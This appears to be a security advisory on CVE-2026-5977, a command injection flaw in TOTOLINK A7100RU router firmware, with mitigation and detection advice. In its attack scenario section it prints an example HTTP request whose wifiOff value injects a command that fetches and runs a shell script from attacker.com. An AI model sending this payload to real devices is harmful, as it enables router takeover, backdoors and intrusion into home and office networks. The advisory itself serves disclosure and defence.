TOTOLINK A7100RU Router Exposed to Unauthenticated Remote Code Execution
TOTOLINK A7100RU routers running firmware 7.4cu.2313_b20191024 are affected by a critical OS command injection vulnerability tracked as CVE-2026-5977. The flaw resides in the setWiFiBasicCfg function exposed via the /cgi-bin/cstecgi.cgi CGI handler. An unauthenticated remote attacker can manipulate the wifiOff argument to inject and execute arbitrary OS commands with the privileges of the web server process — typically root on consumer and SOHO routers.
The vulnerability carries a CVSS v3.1 score of 9.8 (Critical) and requires no authentication, no local access, and no user interaction. Exploitation can be performed entirely over the network.
Vulnerability Details
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-5977 |
| CVSS Score | 9.8 (Critical) |
| Affected Product | TOTOLINK A7100RU |
| Affected Firmware | 7.4cu.2313_b20191024 |
| Vulnerable Function | setWiFiBasicCfg |
| Vulnerable Endpoint | /cgi-bin/cstecgi.cgi |
| Attack Vector | Network |
| Authentication Required | None |
| User Interaction | None |
| Disclosure Date | April 9, 2026 |
| Patch Available | No |
Technical Analysis
Root Cause
The setWiFiBasicCfg function in /cgi-bin/cstecgi.cgi processes user-controlled parameters from HTTP POST requests. The wifiOff argument is passed directly into a shell command without input sanitization or escaping. This allows an attacker to inject arbitrary shell metacharacters and commands that will be executed by the operating system.
Attack Scenario
An attacker with network access to the router's web interface (typically port 80 or 8080) can send a crafted HTTP POST request to inject arbitrary commands:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: <router-ip>
Content-Type: application/x-www-form-urlencoded
action=setWiFiBasicCfg&wifiOff=1;wget+http://attacker.com/shell.sh+-O+/tmp/s;sh+/tmp/s;The router's CGI handler passes the wifiOff value to a shell command without escaping the semicolon (;) or other shell metacharacters, causing the injected commands to execute as a separate shell statement.
Impact
Successful exploitation allows an attacker to:
- Execute arbitrary commands as root on the router
- Establish persistent backdoor access
- Pivot into LAN-connected devices behind the router
- Modify DNS settings for phishing or traffic interception
- Enlist the router in a botnet (e.g., Mirai variants)
- Exfiltrate stored credentials or configuration data
Affected Products
| Product | Firmware | Status |
|---|---|---|
| TOTOLINK A7100RU | 7.4cu.2313_b20191024 | Vulnerable — No patch |
| Other TOTOLINK models | Various | Unknown — verify separately |
Remediation
No Official Patch Available
As of the disclosure date (April 9, 2026), no vendor-supplied patch exists for CVE-2026-5977. TOTOLINK has not issued a security advisory or firmware update addressing this vulnerability.
Interim Mitigations
1. Disable remote web interface access
If the router's web management interface is accessible from the WAN/internet, disable remote management immediately:
- Log in to the router admin panel
- Navigate to Advanced → Remote Management (or equivalent)
- Disable remote access and restrict the admin interface to LAN-only
2. Place the router behind a firewall
Ensure that port 80 and 8080 (and any other management ports) on the router are not accessible from the internet. Use an upstream firewall or ISP modem in bridge mode to filter inbound access.
3. Segment the network
Isolate IoT and SOHO devices on a separate VLAN to limit the blast radius if the router is compromised.
4. Consider replacing the device
TOTOLINK A7100RU running the affected firmware is an end-of-life SOHO router with a history of security vulnerabilities. If the vendor does not issue a patch, replacing the device with a supported alternative is advisable.
5. Monitor for exploitation signs
Watch for unusual outbound connections, unexpected DNS changes, or unfamiliar processes running on the router. If the device supports syslog, forward logs to a central collector for review.
Detection
If you have access to router logs or network traffic monitoring, look for:
- Unexpected HTTP POST requests to
/cgi-bin/cstecgi.cgiwith shell metacharacters in parameter values - Outbound connections to unfamiliar IP addresses or domains from the router
- Changes to DNS server configuration without administrator action
- Unusual processes or new files in
/tmpon the router
Context: TOTOLINK Router Vulnerabilities
TOTOLINK devices have been subject to multiple critical command injection and authentication bypass vulnerabilities over recent years. Many TOTOLINK models run firmware derived from shared codebases, meaning vulnerabilities in one model often have analogues in others. Security researchers have documented a recurring pattern of unsanitized CGI parameter handling across TOTOLINK product lines.
See also: CVE-2026-5978 — a closely related OS command injection vulnerability in the same TOTOLINK A7100RU firmware affecting the setWiFiAclRules function.